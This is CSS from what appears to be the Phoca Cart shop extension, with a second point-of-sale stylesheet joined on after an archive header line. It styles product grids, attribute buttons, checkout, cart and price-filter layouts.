.ph-filter-box .panel-body.form-horizontal .form-group {
	margin-top: 3px;
	margin-bottom: 3px;
}


.ph-right-zero {
	margin-right: -15px;
	padding-right: 0px;
}

.ph-left-zero {
	margin-left: 0px;
	padding-left: 0px;
}

.ph-search-radio {
	font-size: small;
	color: #555;
}

/* video */
.ph-video-container {
	position:relative;
	padding-bottom:56.25%;
	padding-top:30px;
	height:0;
	overflow:hidden;
}

.ph-video-container iframe, .ph-video-container object, .ph-video-container
embed {
	position:absolute;
	top:0;
	left:0;
	width:100%;
	height:100%;
}

.ph-no-image {
	margin: 1em;
	color: #ccc
}
.ph-item-image-box {
	margin: 0.5em auto;
}

/* Modules */
.ph-category-module-box {
	margin-bottom: 10px;
}

.ph-filter-module-categories-tree {
	margin-top: 10px;
	margin-left: -1em;
}
ul.ph-filter-module-category-tree {
	list-style-type: none;
	padding: 0;
	padding-left: 1em;
}

ul.ph-filter-module-category-tree li .checkbox{
	margin-top: 0px;
	padding-top: 3px;
	margin-bottom: 0px;
	padding-bottom: 0px;
}

.ph-checkout-shipping-row .form-group .control-label,
.ph-checkout-billing-row .form-group .control-label {
	text-align: left;
}

.ph-icon-pdf-text-box {
	margin-top: -12px;
}
.ph-icon-pdf-text {
	font-size: 60%;
	/*margin-left: 6px;
	margin-right: 6px;*/

}

/* Attribute */

.phSelectBoxButton {
    display: inline-block;
    margin: 3px;
    padding: 7px;
	width: 15px;
	height: 15px;
    cursor: pointer;
	border: 2px solid transparent;
	box-sizing: content-box;
	border-radius: 2px;
	text-decoration: none;
	font-size: 16px;
}

.phSelectBoxButton.on {

   border: 2px solid transparent;
   padding: 7px;
   width: 15px;
   height: 15px;
   color: #fff;
   box-sizing: content-box;
   border-radius: 2px;
   text-decoration: none;
   font-size: 16px;
}



.phSelectBoxButton.on:after {

  position: relative;
  top: -2px;
  left: -3px;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  box-sizing: content-box;
  border-radius: 2px;
  text-decoration: none;
  text-shadow: -2px 0 #fff, 0 2px #fff, 2px 0 #fff, 0 -2px #fff;
}

.phSelectBoxButton.on:after {
	font-family: 'Glyphicons Halflings';
	content: '\e013'; /* Ok/check mark */
}

.phSelectBoxButton.bs.on:after {
	font-family: 'Glyphicons Halflings';
	content: '\e013'; /* Ok/check mark */
}
.phSelectBoxButton.fa.on:after {
	font-family: FontAwesome;
	content: '\f00c'; /* Ok/check mark */
}
.phSelectBoxButton.fa.fa5.on:after {
	font-family: "Font Awesome 5 Free";
	content: '\f00c'; /* Ok/check mark */
}


.phSelectBoxButton:hover,
.phSelectBoxButton.on:hover {
	border: 2px solid #fff;
}

a.phSelectBoxButton:hover,
a.phSelectBoxButton.on:hover,
a.phSelectBoxButton:visited,
a.phSelectBoxButton.on:visited,
a.phSelectBoxButton:active,
a.phSelectBoxButton.on:active,
a.phSelectBoxButton:focus,
a.phSelectBoxButton.on:focus {
	text-decoration: none;
}


.phSelectBoxImage {
    display: inline-block;
    margin: 3px;
    cursor: pointer;
	border: 2px solid transparent;
	box-sizing: content-box;
	border-radius: 2px;
	text-decoration: none;
	position: relative;
}

.phSelectBoxButton.on {

   border: 2px solid transparent;
   color: #fff;
   box-sizing: content-box;
   border-radius: 2px;
   text-decoration: none;
}





.phSelectBoxImage.on:after {

  position: absolute;
  top: 30%;
  left: 40%;

  line-height: 1;
  -webkit-font-smoothing: antialiased;
  box-sizing: content-box;
  border-radius: 2px;
  text-decoration: none;
  color: #ffcc00;
  text-shadow: -2px 0 #fff, 0 2px #fff, 2px 0 #fff, 0 -2px #fff;

}

.phSelectBoxImage.on:after {
	font-family: 'Glyphicons Halflings';
	content: '\e013'; /* Ok/check mark */
}
.phSelectBoxImage.bs.on:after {
	font-family: 'Glyphicons Halflings';
	content: '\e013'; /* Ok/check mark */
}

.phSelectBoxImage.fa.on:after {
	font-family: FontAwesome;
	content: '\f00c'; /* Ok/check mark */
}
.phSelectBoxImage.fa.fa5.on:after {
	font-family: "Font Awesome 5 Free";
	content: '\f00c'; /* Ok/check mark */
}


.phSelectBoxImage:hover,
.phSelectBoxImage.on:hover {
	border: 2px solid #fff;
	background: #fff;
}

a.phSelectBoxImage:hover,
a.phSelectBoxImage.on:hover,
a.phSelectBoxImage:visited,
a.phSelectBoxImage.on:visited,
a.phSelectBoxImage:active,
a.phSelectBoxImage.on:active,
a.phSelectBoxImage:focus,
a.phSelectBoxImage.on:focus {
	text-decoration: none;
}




.ph-question-message {

}

.ph-item-image-full-left-box {
	text-align: left;
}

.phVMiddle,
.pc-wishlist-view .phVMiddle {
    display: inline-block;
    vertical-align: middle;
    float: none;
}


.ph-checkout-cart-image.ph-row-image img {
	margin: 5px;
}

#phQuickViewPopup .ph-image-full,
#phQuickViewPopup .img-thumbnail .ph-image-full {
	border: 0px;
	box-shadow: none;
}

/* Checkbox Color Button */
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor  {
	margin: 1px;
	padding:0px;
	border: 2px solid transparent;
	box-shadow: none;
	border-radius: 2px;
}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor:hover  {
	margin: 1px;
	padding:0px;
	border: 2px solid #ffffff;
	box-shadow: none;
	border-radius: 2px;
}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor span.glyphicon,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor span.fa{
    display: inline-block;
    margin: 0px;
	padding: 3px 6px 7px 6px;
	width: 14px;
	height: 14px;
    cursor: pointer;
	border: 2px solid transparent;
	box-sizing: content-box;
	border-radius: 2px;
	text-decoration: none;
	box-shadow: none;
	opacity: 0;
	font-size: 16px;
}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor.active
span.glyphicon,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor.active span.fa
{
	border: 2px solid transparent;
	margin: 0px;
	padding: 3px 6px 7px 6px;
	width: 14px;
	height: 14px;
	color: #fff;
	box-sizing: content-box;
	border-radius: 2px;
	text-decoration: none;
	opacity: 1;
	text-shadow: -2px 0 #fff, 0 2px #fff, 2px 0 #fff, 0 -2px #fff;
	font-size: 16px;
}

/* Checkbox Image Button */
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage  {
	margin: 0px;
	padding:0px;
	border: 0px;
	box-shadow: none;
	border-radius: 0px;
	background: transparent;
	position: relative;
	margin: 3px;
}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage:hover  {
	margin: 0px;
	padding:0px;
	border: 0px;
	box-shadow: none;
	border-radius: 0px;
	position: relative;
	margin: 3px;
}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage span.glyphicon,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage span.fa{

    cursor: pointer;
	opacity: 0;
	font-weight: bold;
	position: absolute;
    cursor: pointer;
	box-sizing: content-box;
	text-decoration: none;

}
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage.active
span.glyphicon,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage.active span.fa
{

	opacity: 1;
	color: #fff;
	position: absolute;
	top: 30%;
	left: 40%;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	box-sizing: content-box;
	border-radius: 2px;
	text-decoration: none;
	color: #ffcc00;
	font-weight: bold;
	text-shadow: -2px 0 #fff, 0 2px #fff, 2px 0 #fff, 0 -2px #fff;
	font-size: 16px;
}

.ph-req {
	font-weight: bold;
	color: #CC0000;
}

#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxColor,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage {
	display: inline;
}


/* Phoca Cart Cart Module */

/*
table.ph-cart-small-box {
	width: 100%;
}*/

.ph-cart-module-box {

}

.ph-cart-small-box .ph-hr {
	/*border-color: #3a87ad;*/
}

.ph-cart-small-box div div ul li {
	color: #999;
	padding: 0 auto;
	margin: 0 auto;
	line-height: 1;
}

.ph-cart-link-checkout {
	margin-top: 10px;
	margin-right: 2px;
}

.ph-cart-module-box .col-sm-1,
.ph-cart-module-box .col-md-1,
.ph-cart-module-box .col-sm-2,
.ph-cart-module-box .col-md-2,
.ph-cart-module-box .col-sm-4,
.ph-cart-module-box .col-md-4,
.ph-cart-module-box .col-sm-5,
.ph-cart-module-box .col-md-5,
.ph-cart-module-box .col-sm-6,
.ph-cart-module-box .col-md-6,
.ph-cart-module-box .col-sm-7,
.ph-cart-module-box .col-md-7,
.ph-cart-module-box .col-sm-12,
.ph-cart-module-box .col-md-12 {
	padding-left: 2px;
	padding-right: 2px;
}

.ph-cart-module-image {}
.ph-cart-attribute-box {}
.ph-cart-attribute-box-i {
	padding-left: 30%;
}


/* Checkout */
.ph-checkout-cart-box .col-sm-1,
.ph-checkout-cart-box .col-md-1,
.ph-checkout-cart-box .col-sm-2,
.ph-checkout-cart-box .col-md-2,
.ph-checkout-cart-box .col-sm-4,
.ph-checkout-cart-box .col-md-4,
.ph-checkout-cart-box .col-sm-5,
.ph-checkout-cart-box .col-md-5,
.ph-checkout-cart-box .col-sm-6,
.ph-checkout-cart-box .col-md-6,
.ph-checkout-cart-box .col-sm-7,
.ph-checkout-cart-box .col-md-7,
.ph-checkout-cart-box .col-sm-12,
.ph-checkout-cart-box .col-md-12 {

}


.ph-vertical-align {
	display: flex;
	align-items: center;
}

.ph-vertical-align-row {

}

.ph-checkout-attribute-box {
	padding: 0px;
	margin: 0px;
	margin-top: -15px;
	margin-bottom: 15px;
	margin-left: 15px;
}

.ph-mod-color-box {
	padding: 10px;
}



.ph-panel-body-color {
	padding: 10px;
}


/* Discount row */
.ph-checkout-discount-row {

	/* conflict with flex
	margin-top: -20px;
	margin-bottom: 20px;*/
}

.ph-price-discount,
.ph-checkout-discount-row div {
	color: #00B19D;
}

.ph-line-through-txt {
	/*text-decoration: line-through;*/
}

.ph-line-through {
	text-decoration: line-through;
}


/* Pagination Top */
.ph-pagination-top button {
	margin-top: 0px;
}

.ph-pagination-top .btn {

}
.ph-pagination-top .btn span {
	color: #d0d0d0;
}
.ph-pagination-top .btn.active span{
	color: #000;
}
.ph-pagination-top .btn,
.ph-pagination-top .btn:focus,
.ph-pagination-top .btn:visited,
.ph-pagination-top .btn:focus,
.ph-pagination-top .btn:active,
.ph-pagination-top .btn.active{
	box-shadow: none;
	outline: none;
	outline-offset: 0px;
}




.ph-item-clearfix {
	clear: both;
}

/* Layout Type */
.ph-items.grid {

}

.ph-items.list {

}

.ph-items.gridlist {

}

h3.grid {
	text-align: center;
}
h3.list,
h3.gridlist {
	margin: 0px;
	padding: 0px;
	background: transparent;
}


.ph-item-content.grid .ph-stars-box {
	margin-top: 10px;
	margin-bottom: 10px
}

/*
.chosen-search{display: none}
*/


.ph-item-box {
	position: relative;
}

.ph-item-content-row{
	margin: 0px;
	padding: 0px;
}

/* Equal Heights by Flexbox */
.ph-row-flex.grid {
	display: flex;
	flex-wrap: wrap;
}

@media screen and (max-width: 576px) {
	.ph-row-flex.grid{
		display: block;
	}
}


.ph-row-flex.grid .row-item {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	align-items: stretch;
}

.ph-row-flex.grid .row-item .ph-item-box,
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c {
	/*height: 100%;*/
	display: flex;
	flex: 1 1 100%;
	/* IE 11 flex: 1 1 auto;*/
	flex-direction: column;
}

/* IE */

@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {
	.ph-row-flex.grid .row-item .ph-item-box,
	.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c {
		flex: 1 1 auto;
	}
}
.ph-mod-product-scroller-swiper-wrapper .ph-item-box .ph-thumbnail-c
.ph-item-content ,
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
{
	height: 100%;
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	align-items: stretch;
}

.ph-item-content.grid .ph-item-desc {
	flex: 1;
}


.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.phItemWishListBoxForm,
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.phItemCompareBoxForm,
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.phItemCartBoxForm,
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.phItemQuickViewBoxForm{
}



.ph-item-action{
   display: flex;
   flex-direction: row;
   justify-content: flex-start;
}



.ph-item-box.grid {
    position: relative;
    margin-bottom: 20px;
    clear: both;

}




.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.ph-item-action-box {

}
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.ph-category-price-box {

}
.ph-row-flex.grid .row-item .ph-item-box .ph-thumbnail-c .ph-item-content
.ph-item-action-box{
	width: 100%;
	margin-top: auto;
}



.ph-item-box .ph-item-content {
	padding: 10px;
}

/* Select Box required */
select:invalid,
select:invalid  + .chosen-container .chosen-single {
    border: 1px solid #fc0000 !important;
	box-shadow: 0 0px 4px #FF9494 !important;
}

.ph-shipping-info-box {
	padding: 5px;
	border: 1px solid #f0f0f0;
	background: #fdfdfd;
}

.ph-shipping-info-box a{
	text-decoration: underline;
}
.ph-shipping-info-header {
	font-weight: bold;
}

.ph-clear-both {
	clear:both;
}

/* Uncomment in Protostar */
/*
select, textarea, input[type="text"],
input[type="password"], input[type="datetime"],
input[type="datetime-local"], input[type="date"],
input[type="month"], input[type="time"],
input[type="week"], input[type="number"],
input[type="email"], input[type="url"],
input[type="search"], input[type="tel"],
input[type="color"], .uneditable-input {
    height: 28px !important;
}
*/


.ph-item-price-panel form {
	margin: 0;
	padding: 0;
	display: inline;
}

#phItemTopBoxForm .ph-pag-top-row {
	padding-left: 5px;
	padding-right: 5px;
}

.phIBoxOH {
    text-align: center;
}


.row-item {

}

.ph-item-action-fade form {
	margin: 0px;
}

.ph-payment-title,
.ph-payment-image,
.ph-shipping-title,
.ph-shipping-image {
	display: inline-block;
	margin: 5px;
}

label .ph-payment-title,
label .ph-payment-image,
label .ph-shipping-title,
label .ph-shipping-image {
	display: inline;
}

.ph-video-container iframe {
	border: 0px;
}

.ph-pull-right {
	float: right;
}
.ph-pull-left {
	float: left;
}


#ph-pc-category-box .chosen-container{
  width: auto !important;
}

#ph-pc-submit-item-box .chosen-container {
	min-width: 16em;
}
#ph-pc-submit-item-box .inputbox[type=text],
#ph-pc-submit-item-box .inputbox[type=email] {
	max-width: 16em;
}

#ph-pc-submit-item-box select {
	min-width: 16em;
}

.ph-submititem-header-contact {
	font-weight: bold;
	margin-top: 1em;
}


.ph-currency-list a {
	/*color: #333 !important;*/
	text-decoration: underline;
}
li.ph-currency-list {
	list-style-type: none;
}
.ph-currency-list-suffix .ph-currency-image-list {
	margin-left: 3px
}
.ph-currency-list .ph-currency-image-list {
	margin-left: -5px;
}

.ph-visibility-hidden {
	visibility: hidden;
}
.ph-display-none {
	display: none;
}



/* Categories View - Colspan */
.ph-t-box {
  display: flex;
}
.ph-t-row {
	min-width: 0;
	display: flex;
}
.ph-t-row-c1 {
	flex: 1 1 100%;
}

.ph-t-row-c2 {
	flex: 1 1 50%;
	flex-flow: wrap;
}

.ph-t-cell {
	display: flex;
	flex: 1 1 100%;
	align-items: center;
	justify-content: center;
	min-width: 0;
	overflow: auto;
	/*width: 100%;*/
	position: relative;
	padding: 0;
}


.ph-t-cell .ph-item-box {
	margin: 0;
	padding-bottom: 7em;
	width: 100%;
	height: 100%;
	display:flex;
	flex: 1 1 100%;
	flex-flow: column;
	justify-content: center;
	align-items: center;
	min-width: 0;
	/* overflow: hidden; use in case of transform */
}

.ph-t-cell a {
	text-align: center;
}
.ph-t-cell a img {
	margin: 0 auto;
	text-align: center;
}

.ph-t-cell .ph-cat-desc {
	padding: 10px;
}

.ph-t-cell .ph-item-box {
	padding-top: 2em;
}

.ph-t-cell a img{

}
.ph-t-cell h3 {
	position: absolute;
	bottom: 2.6em;
	left: 1em;
	margin: 0;

}
.ph-t-cell .btn {
	position: absolute;
	bottom: 1em;
	right: 1em;
	margin: 0;
}

@media screen and (max-width: 768px) {
	.ph-t-box{
		display: block;
	}
}

#ph-pc-categories-box .ph-t-cell {
	margin: 10px;
}


.ph-price-filter-box {
	margin: 15px auto;
}

#phPriceFilterPrice {
	text-align: right;
	font-size: 70%;
	margin: 10px auto;
}

#phPriceFilterRange.ui-widget.ui-widget-content {
	border: 0;
	background: #f0f0f0;
	height: 0.4em;
}

#phPriceFilterRange.ui-slider-horizontal .ui-slider-handle {
    top: -.4em;
	border-radius: 50%;
	background: #08b2d9;
	border: 0;
}

#phPriceFilterRange.ui-slider-horizontal .ui-slider-handle:hover {

	border-radius: 50%;
	background: #08b2d9;
	border: 3px solid #079ec0;
	outline-width: 0;
}
#phPriceFilterRange.ui-slider-horizontal .ui-slider-handle:focus,
#phPriceFilterRange.ui-slider-horizontal .ui-slider-handle:active {
	outline-width: 0;
}

#phPriceFilterRange.ui-slider-horizontal .ui-slider-handle::focus {
    outline-width: 0;
}
#phPriceFilterRange .ui-widget-header {
	background: #08B2D9;

}


/* SEARCH enable absolute positioning */
.inner-addon {
    position: relative;
}
/* style icon */
.inner-addon .fa,
.inner-addon .glyphicon {
  position: absolute;
  padding: 10px;
  pointer-events: none;
}
/* align icon */
.left-addon .glyphicon  { left:  0px;}
.right-addon .glyphicon { right: 0px;}
.left-addon .fa  { left:  20px;}
.right-addon .fa { right: 20px;}
/* add padding  */
.left-addon input  { padding-left:  30px; width: 100% }
.right-addon input { padding-right: 30px; width: 100% }


.row-item-subcategory {


}
.row-item-subcategory h3 {
	margin: 0 auto;
	text-align: center;
}

/*
.ph-brands-module-box .ph-brand-name {
	float: left;
	margin: 1em
}
*/


.col-md-1,
.col-md-2,
.col-md-4,
.col-md-6,
.col-md-8,
.col-md-10,
.col-md-12,
.col-md-3,
.col-md-5,
.col-md-7,
.col-md-9,
.col-md-11 {
/*border: 1px solid red;*/
}

.ph-checkbox {
	display: block !important;
}

table.pc-tax-recapitulation,
table.pc-tax-recapitulation tr,
table.pc-tax-recapitulation tr th,
table.pc-tax-recapitulation  tr td {
	border: 1px solid #f0f0f0;
	padding: 5px;
	border-collapse: collapse;
}

table.pc-tax-recapitulation tr th {
	text-align: center;
}
table.pc-tax-recapitulation tr td {
	text-align: right;
}


/* Plugins */
.ph-plg-product-info {
	margin: 5px 0 15px 0;
	text-align: left;
}

.ph-plg-product-info-title {
	font-weight: bold;
}

.ph-plg-product-attribute-item {
	color: #c0c0c0;
}


.phIBox.ph-lazyload {
	margin: 0;
	padding: 0;
	background: #f0f0f0;
	border-radius: 0;
	width: 100%;
}

img.ph-lazyload {
  display: block;
  width: 100%;
  height: auto;
opacity: 0;
  box-sizing: border-box;
  position: relative;
  clear:both;
}

img.ph-lazyload:not(.initial) {
	transition: opacity 2s;
}
img.ph-lazyload.initial,
img.ph-lazyload.loaded,
img.ph-lazyload .error {
	opacity: 1;
}
img.ph-lazyload:not([src]) {
	visibility: hidden;
}

.ph-row-flex.gridlist.ph-lazyload .row-item .phIBoxOH {
	line-height: 0;
}


.ph-row-flex.grid.ph-lazyload .row-item {
	flex-wrap: nowrap;
}
.ph-row-flex.grid.ph-lazyload .row-item .ph-item-box .ph-thumbnail-c
.ph-item-content {
	flex-wrap: nowrap;
}

#phImageBox .ph-item-image-full-box  > a > picture > source {
	display: inline;
}

.ph-item-box.gridlist, .ph-item-box.list {
    margin-bottom: 10px;
}
.ph-no-items-found {
	text-align: center;
	padding: 2em 1em;
}

.ph-submititem-checkbox-confirm label div,
.ph-submititem-checkbox-confirm label p,
.ph-askquestion-checkbox-confirm label div,
.ph-askquestion-checkbox-confirm label p,
.ph-checkout-checkbox-confirm label div,
.ph-checkout-checkbox-confirm label p {
	display: inline;
}

.ph-submititem-checkbox-confirm label input  {
	margin-right: 0.5em;
}


#phContainerPopup .modal-dialog,
#phContainerPopup .modal-content {
    height: 95%;
}

#phContainerPopup .modal-body {
    /* 100% = dialog height, 120px = header + footer */
    /* bootstrap 4: max-height: calc(100% - 120px);
	height: calc(100% - 120px);*/
	height: calc(100% - 120px);
}

.ph-checkout-box-apply-coupon {
	margin-top: 1em;
}
.ph-checkout-box-apply-coupon .btn {
	margin-left: 0.5em;
}
.ph-checkout-box-reward-points {
	margin-top: 1em;
}
.ph-checkout-box-reward-points .btn {
	margin-left: 0.5em;
}

.ph-item-play-file {
	margin: 1em auto;
	/*text-align: center;*/
}
.ph-item-play-title {
	margin: 0.5em;
	text-align:left;
}
.ph-item-play-file audio,
.ph-item-play-file video {
	/*margin: 0 auto;*/
}

.ph-category-item-public-download {
	margin: 1em auto;
}


.ph-header-size {
	margin-top: 0.5em;
}
.ph-item-attributes-box {
	margin-top: 1em;
}


.ph-filter-count:before {
    content: "(";
}
.ph-filter-count:after {
    content: ")";
}
.ph-filter-count {
	font-size: 70%;
	padding: 2px;
	background: #f5f5f5;
	border-radius: 2px;

	
}

.ph-label-close {
	margin: 2px;
	padding: 0.5em 0.3em;
}
.ph-label-close a {
  font-weight: bold;
  color: #fff;
}
.ph-label-close a:hover {
	color: #fff;
	text-decoration: none;
}

.ph-label-close a .ph-label-close-remove {
  vertical-align: bottom;
  top: 0;
}

.ph-label-close a .ph-label-close-remove::before {
  color: #fff;

}

.ph-image-box-content-item {
	text-align: center;
	margin: 0 auto;
	font-size: 6em;
}

/* Modal Popups - combination of more popups */
#phAddToCartPopup {
	z-index: 1051;
}
#phQuickViewPopup {
	z-index: 1050;
}


/* Gift Voucher */
#ph-pc-item-box .form-check.ph-radio-gift-box {
	flex-direction: column;
	display: inline-flex;
	padding: 0.3em;
	min-width: 50%;
}
.ph-radio-gift-image {
	padding: 0.3em;
}
.ph-radio-gift-title {
	font-size: 0.75em;
}

.ph-gift-box-form div label {
	text-align: left;
	justify-content:left;
}pos.css000064400000046066151170511360006073 0ustar00/*******/
/* POS */
/*******/

html,
body#phocaPosSite {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI",
Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji",
"Segoe UI Emoji", "Segoe UI Symbol";

	height: 100%;
}

.ph-pos-wrap-top {
	height: 8vh;
	display: flex;
	align-self: flex-end;
	justify-content: space-between;
	align-items: center;
	/*overflow: auto;*/
	background: #104954;
}

.ph-pos-wrap-top .nav.nav-tabs {
	display: flex;
	align-self: flex-end;
	border-bottom: 1px solid #104954;
}

.ph-pos-wrap-top .nav-tabs>li>a {
	line-height: 1;
}

.ph-pos-wrap-top .nav-tabs>li.active>a,
.ph-pos-wrap-top .nav-tabs>li.active>a:hover,
.ph-pos-wrap-top .nav-tabs>li.active>a:focus {
    color: #555;
    background-color: #d2d2d2;
	border-color: #d2d2d2;
    font-weight: bold;
	border-radius: 5px 5px 0px 0px;
}

.ph-pos-wrap-top .nav-tabs>li>a,
.ph-pos-wrap-top .nav-tabs>li>a:hover,
.ph-pos-wrap-top .nav-tabs>li>a:focus {
	color: #fff;
	background: #9a9a9a;
	border-color: #9a9a9a;
	font-weight: bold;
	border-radius: 5px 5px 0px 0px;
	
}

.ph-pos-wrap-main {
	height: 86vh;
	display: flex;
	flex-wrap: wrap;
	margin:0px;
	padding:0px;
	width: 100%;
	background: #e3e3e3;
}

.ph-pos-wrap-bottom {
	height: 6vh;
	background: #104954;
	overflow: auto;

	border-top: 2px solid #00a3d9;
	text-align: center;
	display: flex;
	align-items: center;
	justify-content: center;
	font-size: small;
	color: #fff;
	
}
.ph-pos-wrap-bottom a ,
.ph-pos-wrap-bottom a:hover {
	color: #fff;
}

.ph-pos-main-column-left {
	flex: 2;
	display: flex;
	flex-direction: column;
	height: 86vh;
}

.ph-pos-main-column-right {
	flex: 1;
	display: flex;
	flex-direction: column;
	height: 86vh;
}

.ph-pos-main-filter {
	display: block;
	padding: 0;
	/*overflow-y: scroll;*/
	height: 8vh;
	background: #d2d2d2;
	
	display: flex;
	align-items: center;
	justify-content: flex-end;
	justify-content: space-between;
	border-bottom: 1px solid #c0c0c0;
}
#ph-pc-pos-site .ph-pos-main-filter input {
	margin: 0;
}

.ph-pos-main-categories {
	display: block;
	padding: 0.4em 1.4em;
	/*overflow-y: scroll;*/
	overflow-y: auto;
	height: 6vh;
	background: #e3e3e3;
	width: 100%;
	margin: 0;
	padding: 0;
	
	border-bottom: 2px solid #00a3d9;

}

.ph-pos-main-content {
	display: block;
	padding: 0.4em 1.4em;
	overflow-y: scroll;
	height: 72vh;
	background: #e3e3e3;
	width: 100%;
}

.ph-pos-main-page {

	display: block;
	padding: 0.4em 1.4em;
	overflow-y: scroll;
	height: 86vh;
	background: #d2d2d2;
	width: 100%;
	margin: 0;
	padding: 1.4em 1.4em;

}



.ph-pos-main-cart{
	padding: 2em;
	overflow-y: scroll;
	height: 50vh;
	background: #fff;
	border-left: 2px solid #a5a5a5;
	/*white-space: nowrap; */
}

.ph-pos-main-input {
	padding: 0.4em 2em;
	overflow-y: scroll;
	height: 36vh;
	background: #fafafa;
	border-left: 2px solid #a5a5a5;
	border-top: 2px solid #a5a5a5;

	display: flex;
	align-items: center;
	justify-content: center;
}

#ph-pc-pos-site .ph-pos-main-input button {
	width: 100%;
	padding-top: 0.7em;
	padding-bottom: 0.7em;
	text-align: left;
}

#ph-pc-pos-site .ph-pos-main-input button.btn-success {
	text-align: center;
	padding-top: 1em;
	padding-bottom: 1em;
}

#ph-pc-pos-site .ph-pos-main-input button span {
	
} 



.alert {
	border-radius: 0;
}


/*
@media (max-width: 800px) {
  main {
    flex-direction: column;
  }
}
*/


/* Scrollbars */

/*
::-webkit-scrollbar {
    width: 6px;
	background: rgba(0,0,0,0.1);
	
}
 
/* Track *//*
::-webkit-scrollbar-track {
    -webkit-border-radius: 0px;
    border-radius: 0px;
	border: 0px;
}
 
/* Handle *//*
::-webkit-scrollbar-thumb {
    -webkit-border-radius: 0px;
    border-radius: 5px;
    background: rgba(0,0,0,0.3);
    border: 0px;
}
::-webkit-scrollbar-thumb:window-inactive {
	background: transparent; 
}
*/

::-webkit-scrollbar {
    width: 14px;
    height: 18px;
	
}
::-webkit-scrollbar-thumb {
    height: 6px;
    border: 4px solid rgba(0, 0, 0, 0);
    background-clip: padding-box;
    -webkit-border-radius: 7px;
    background-color: rgba(0, 0, 0, 0.15);
    -webkit-box-shadow: inset -1px -1px 0px rgba(0, 0, 0, 0.05), inset 1px
1px 0px rgba(0, 0, 0, 0.05);
}
::-webkit-scrollbar-button {
    width: 0;
    height: 0;
    display: none;
}
::-webkit-scrollbar-corner {
    background-color: transparent;
}

#ph-pc-pos-site .ph-cart-cart-discount,
#ph-pc-pos-site .ph-cart-product-discount,
#ph-pc-pos-site .ph-cart-subtotal-netto,
#ph-pc-pos-site .ph-cart-total,
#ph-pc-pos-site .ph-checkout-cart-brutto {
	white-space: nowrap;
	text-align: right;
}

#ph-pc-pos-site .col-sm-0,
#ph-pc-pos-site .col-md-0,
#ph-pc-pos-site .col-xs-0 {
	display: none;
}



.pagination span.pagenav {
	color: #e3e3e3;
}


#ph-pc-pos-site h3.ph-product-header {
	margin: 0;
	padding: 0;
	font-size: 85%;
	text-align:left;
	padding-top: 5px;
	color: #9a9a9a;
	margin-top: auto;
}

#ph-pc-pos-site .ph-item-content {
	padding: 0;
	margin: 0;
}

#ph-pc-pos-site .ph-tax,
#ph-pc-pos-site .ph-tax-txt,
#ph-pc-pos-site .ph-price-netto,
#ph-pc-pos-site .ph-price-txt,
#ph-pc-pos-site .ph-price-original {
	display: none;
}

#ph-pc-pos-site .ph-price-brutto {
	position: absolute;
	top: 0.5em;
	right: 5px;
	background: #00a3d9;
	color: #fff;
	border-radius: 3px;
	padding: 1px 2px;
	font-size: 0.8em;
	font-weight: normal;
}

#ph-pc-pos-site .ph-price-discount-product {
	position: absolute;
	top: 2.2em;
	right: 5px;
	background: #00B19D;
	color: #fff;
	border-radius: 3px;
	padding: 1px 2px;
	font-size: 0.8em;
	font-weight: normal;
}

#ph-pc-pos-site .ph-price-discount-cart {
	position: absolute;
	top: 4.0em;
	right: 5px;
	background: #00B19D;
	color: #fff;
	border-radius: 3px;
	padding: 1px 2px;
	font-size: 0.8em;
	font-weight: normal;
}

#ph-pc-pos-site .ph-category-add-to-cart-box {
	margin: 0;
	padding: 0;
}
#ph-pc-pos-site .thumbnail {
	margin: 0;
	padding: 5px;
}
#ph-pc-pos-site .ph-item-box.grid {
	margin: 0px;
}

#ph-pc-pos-site .ph-item-stock-box,
#ph-pc-pos-site .ph-item-min-qty-box {
	margin: 0;
	padding: 0;
}
#ph-pc-pos-site .ph-item-stock-box div,
#ph-pc-pos-site .ph-item-min-qty-box div {
	font-size: 0.8em;
	margin: 0;
	padding: 0;
}
.ph-pos-no-items-icon,
.ph-cart-icon {
	font-size: 300%;
	text-align: center;
	color: #e3e3e3;
	margin-top: 15%;
}
.ph-pos-no-items,
.ph-cart-empty {
	color: #e3e3e3;
	font-weight: bold;
	font-size: 160%;
	text-align: center;
}

.ph-pos-no-items-icon,
.ph-pos-no-items  {
	color: #fff;
}


/* SEARCH enable absolute positioning */
.inner-addon { 
    position: relative; 
}
/* style icon */
.inner-addon .glyphicon,
.inner-addon .fa {
  position: absolute;
  padding: 10px;
  pointer-events: none;
  color: #e3e3e3;
}
/* align icon */
.left-addon .glyphicon {
	left:  0px;
}
.left-addon .fa {
	left:  10px;
}
.right-addon .glyphicon{ 
	right: 0px;
}
.right-addon .fa { 
	right: 10px;
}
/* add padding  */
.left-addon input  { padding-left:  30px; }
.right-addon input { padding-right: 30px; }

ph-pos-filter-box {
	float: right;
	margin-right: 1em;
}
